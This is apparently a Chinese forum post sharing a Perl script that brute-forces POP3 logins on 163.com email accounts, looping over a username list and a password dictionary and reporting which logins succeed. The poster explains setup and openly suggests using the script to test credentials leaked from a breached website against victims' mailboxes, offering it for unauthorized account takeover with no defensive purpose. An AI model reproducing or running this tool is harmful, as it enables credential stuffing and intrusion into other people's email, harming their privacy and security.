邮箱爆破脚本

priess1314

[pre]
#!/usr/bin/perl
use Net::POP3;
$email="pop.163.com";          //设置pop服务器地址 qq为pop.qq.com
$pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
print $pop->banner();
$pop->quit;
$i=0;
open(fp1,"user.txt");      
@array1=<fp1>;
open(fp2,"pass.txt");
@array2=<fp2>;                     //从文件中获取邮箱用户名及密码
foreach $a(@array1) {
$u=substr($a,0,length($a)-1);
$u=$u."@163.com";
foreach $b(@array2) {
$p=substr($b,0,length($b)-1);
print "cracked with ".$u."-----".$p."n";
$i=$i+1;
$pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");
$m=$pop->login($u,$p);              //尝试登录邮箱
if($m>0)
{
  print $u."------------".$p."----"."success"."n";
  $pop->quit;
}                                //成功登录
else
{
  print $u."------------".$p."----"."failed"."n";
  $pop->quit;                                     //登录失败
}
}
}
print $i;
[/pre]
用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱

Default

$email="pop.163.com";
1
$email="pop.163.com";
再将去除掉@后面部分的邮箱地址比如lusiyu@163.com 去除后lusiyu存进去

同目录user.txt中吗，再将字典存进去pass.txt

你会说

这个有点鸡肋吧 万一邮箱的密码很复杂

呵呵

搞到了一个小站的数据，

用这个程序批量测试密码是否就是邮箱密码 呵呵

我啥都没说。:ciya: